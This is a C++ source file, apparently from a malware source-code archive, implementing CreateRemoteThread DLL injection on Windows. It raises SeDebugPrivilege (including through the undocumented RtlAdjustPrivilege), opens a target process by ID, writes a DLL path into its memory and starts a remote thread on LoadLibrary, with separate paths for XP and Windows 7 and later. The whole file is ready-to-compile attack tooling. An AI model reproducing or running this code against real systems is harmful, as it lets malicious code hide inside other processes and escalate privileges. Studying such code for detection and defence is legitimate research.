MalwareSourceCode/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.cpp
vxunderground 900263ea6f updates and moves
n/a
2022-04-11 20:00:13 -05:00

338 lines
9.9 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

/*
x86和x64的注入因为x64的系统增加了较多的权限的校验需要进行提权处理。
x64提权主要就是用到了ntdll.dll中的未导出函数RtlAdjustPrivilege().
*/
#include "stdafx.h"
#include "CreateRemoteThread.h"
#include <strsafe.h>
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// 唯一的应用程序对象
CWinApp theApp;
using namespace std;
typedef enum _WIN_VERSION
{
WindowsNT,
Windows2000,
WindowsXP,
Windows2003,
WindowsVista,
Windows7,
Windows8,
Windows10,
WinUnknown
}WIN_VERSION;
typedef NTSTATUS( NTAPI* fnRtlGetVersion )(PRTL_OSVERSIONINFOW lpVersionInformation);
VOID InjectDll(ULONG_PTR ProcessID, WCHAR* strPath);
WIN_VERSION GetWindowsVersion();
BOOL EnableDebugPrivilege();
BOOL InjectDllByRemoteThreadXP(const TCHAR* wzDllFile, ULONG_PTR ProcessId);
BOOL InjectDllByRemoteThreadWin7(const TCHAR* wzDllFile, ULONG_PTR ProcessId);
typedef long (__fastcall *pfnRtlAdjustPrivilege64)(ULONG,ULONG,ULONG,PVOID);
typedef long (__stdcall *pfnRtlAdjustPrivilege32)(ULONG,ULONG,ULONG,PVOID);
WIN_VERSION WinVersion = WinUnknown;
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
WinVersion = GetWindowsVersion();
if(argc == 3)
{
ULONG ProcessId = 0;
swscanf_s(argv[1], L"%d", &ProcessId);
InjectDll(ProcessId, argv[2]);
}
return 0;
}
VOID InjectDll(ULONG_PTR ProcessID, WCHAR* strPath)
{
WCHAR wzPath[MAX_PATH] = {0};
if (ProcessID == 0 || strPath == NULL)
{
printf("Inject Fail ProcessId or strPath is not exists \r\n");
return;
}
GetCurrentDirectory(260,wzPath);
wcsncat_s(wzPath, L"\\", 2);
wcsncat_s(wzPath, strPath, wcslen(strPath));//dll完整路径
if (!PathFileExists(wzPath))
{
printf("Inject Fail strPath is not exists LastError [%d]\r\n", GetLastError());
return;
}
printf("Inject Target [%d], strPath [%S]\n", ProcessID, wzPath);
if(WinVersion >= Windows7)
{
if (!InjectDllByRemoteThreadWin7(wzPath,ProcessID))
printf("Inject Fail\r\n");
else
printf ("Inject Success\r\n");
}
else
{
if (!InjectDllByRemoteThreadXP(wzPath,ProcessID))
printf("Inject Fail\r\n");
else
printf("Inject Success\r\n");
}
}
BOOL InjectDllByRemoteThreadWin7(const TCHAR* wzDllFile, ULONG_PTR ProcessId)
{
if (NULL == wzDllFile || 0 == ::_tcslen(wzDllFile) || ProcessId == 0 || -1 == _taccess(wzDllFile, 0))
{
return FALSE;
}
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
DWORD dwRetVal = 0;
LPTHREAD_START_ROUTINE FuncAddress = NULL;
DWORD dwSize = 0;
TCHAR* VirtualAddress = NULL;
//预编译支持Unicode
#ifdef _UNICODE
FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryW");
#else
FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
#endif
if (FuncAddress==NULL)
{
return FALSE;
}
#ifdef _WIN64
pfnRtlAdjustPrivilege64 RtlAdjustPrivilege = NULL;
RtlAdjustPrivilege=(pfnRtlAdjustPrivilege64)GetProcAddress((HMODULE)(FuncAddress(L"ntdll.dll")),"RtlAdjustPrivilege");
#else
pfnRtlAdjustPrivilege32 RtlAdjustPrivilege = NULL;
RtlAdjustPrivilege=(pfnRtlAdjustPrivilege32)GetProcAddress((HMODULE)(FuncAddress(L"ntdll.dll")),"RtlAdjustPrivilege");
#endif
if (RtlAdjustPrivilege==NULL)
{
return FALSE;
}
/*
.常量 SE_BACKUP_PRIVILEGE, "17", 公开
.常量 SE_RESTORE_PRIVILEGE, "18", 公开
.常量 SE_SHUTDOWN_PRIVILEGE, "19", 公开
.常量 SE_DEBUG_PRIVILEGE, "20", 公开
*/
RtlAdjustPrivilege(20,1,0,&dwRetVal); //19
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, ProcessId);
if (NULL == hProcess)
{
printf("Open Process Fail lastError [%d]\r\n", GetLastError());
return FALSE;
}
// 在目标进程中分配内存空间
dwSize = (DWORD)::_tcslen(wzDllFile) + 1;
VirtualAddress = (TCHAR*)::VirtualAllocEx(hProcess, NULL, dwSize * sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE);
if (NULL == VirtualAddress)
{
printf("Virtual Process Memory Fail lastError [%d]\r\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
// 在目标进程的内存空间中写入所需参数(模块名)
if (FALSE == ::WriteProcessMemory(hProcess, VirtualAddress, (LPVOID)wzDllFile, dwSize * sizeof(TCHAR), NULL))
{
printf("Write Data Fail LastError [%d]\r\n", GetLastError());
VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
hThread = ::CreateRemoteThread(hProcess, NULL, 0, FuncAddress, VirtualAddress, 0, NULL);
if (NULL == hThread)
{
printf("CreateRemoteThread Fail lastError [%d]\r\n", GetLastError());
VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 等待远程线程结束
WaitForSingleObject(hThread, INFINITE);
// 清理资源
VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
BOOL InjectDllByRemoteThreadXP(const TCHAR* wzDllFile, ULONG_PTR ProcessId)
{
// 参数无效
if (NULL == wzDllFile || 0 == ::_tcslen(wzDllFile) || ProcessId == 0 || -1 == _taccess(wzDllFile, 0))
{
return FALSE;
}
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
DWORD dwSize = 0;
TCHAR* VirtualAddress = NULL;
LPTHREAD_START_ROUTINE FuncAddress = NULL;
if(!EnableDebugPrivilege())
{
printf("EnableDebugPrivilege fail lasterror is [%d]\n", GetLastError());
return FALSE;
}
// 获取目标进程句柄
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ProcessId);
if (NULL == hProcess)
{
printf("Open Process Fail LastError [%d]\r\n", GetLastError());
return FALSE;
}
// 在目标进程中分配内存空间
dwSize = (DWORD)::_tcslen(wzDllFile) + 1;
VirtualAddress = (TCHAR*)::VirtualAllocEx(hProcess, NULL, dwSize * sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE);
if (NULL == VirtualAddress)
{
printf("Virtual Process Memory Fail LastError [%d]\r\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
// 在目标进程的内存空间中写入所需参数(模块名)
if (FALSE == ::WriteProcessMemory(hProcess, VirtualAddress, (LPVOID)wzDllFile, dwSize * sizeof(TCHAR), NULL))
{
printf("Write Data Fail LastError [%d]\r\n", GetLastError());
VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 从 Kernel32.dll 中获取 LoadLibrary 函数地址
#ifdef _UNICODE
FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryW");
#else
FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
#endif
if (NULL == FuncAddress)
{
printf("Get LoadLibrary Fail LastError [%d]\r\n", GetLastError());
VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
CloseHandle(hProcess);
return false;
}
// 创建远程线程调用 LoadLibrary
hThread = ::CreateRemoteThread(hProcess, NULL, 0, FuncAddress, VirtualAddress, 0, NULL);
if (NULL == hThread)
{
printf("CreateRemoteThread Fail LastError [%d]\r\n", GetLastError());
VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 等待远程线程结束
WaitForSingleObject(hThread, INFINITE);
// 清理
VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
WIN_VERSION GetWindowsVersion()
{
RTL_OSVERSIONINFOEXW verInfo = { 0 };
verInfo.dwOSVersionInfoSize = sizeof( verInfo );
fnRtlGetVersion RtlGetVersion = (fnRtlGetVersion)GetProcAddress( GetModuleHandleW( L"ntdll.dll" ), "RtlGetVersion" );
if(RtlGetVersion != NULL && RtlGetVersion((PRTL_OSVERSIONINFOW)&verInfo) == 0)
{
if (verInfo.dwMajorVersion <= 4 )
{
return WindowsNT;
}
if (verInfo.dwMajorVersion == 5 && verInfo.dwMinorVersion == 0)
{
return Windows2000;
}
if (verInfo.dwMajorVersion == 5 && verInfo.dwMinorVersion == 1)
{
return WindowsXP;
}
if (verInfo.dwMajorVersion == 5 && verInfo.dwMinorVersion == 2)
{
return Windows2003;
}
if (verInfo.dwMajorVersion == 6 && verInfo.dwMinorVersion == 0)
{
return WindowsVista;
}
if (verInfo.dwMajorVersion == 6 && verInfo.dwMinorVersion == 1)
{
return Windows7;
}
if (verInfo.dwMajorVersion == 6 && verInfo.dwMinorVersion == 2 )
{
return Windows8;
}
if (verInfo.dwMajorVersion == 10 && verInfo.dwMinorVersion == 0 && verInfo.dwBuildNumber >= 10240)
{
return Windows10;
}
}
return WinUnknown;
}
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivilege;
LUID uID;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
{
printf("OpenProcessToken is Error\n");
return FALSE;
}
if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID))
{
printf("LookupPrivilegeValue is Error\n");
return FALSE;
}
TokenPrivilege.PrivilegeCount = 1;
TokenPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TokenPrivilege.Privileges[0].Luid = uID;
//在这里我们进行调整权限
if (!AdjustTokenPrivileges(hToken,false,&TokenPrivilege,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
{
printf("AdjuestTokenPrivileges is Error\n");
return FALSE;
}
return TRUE;
}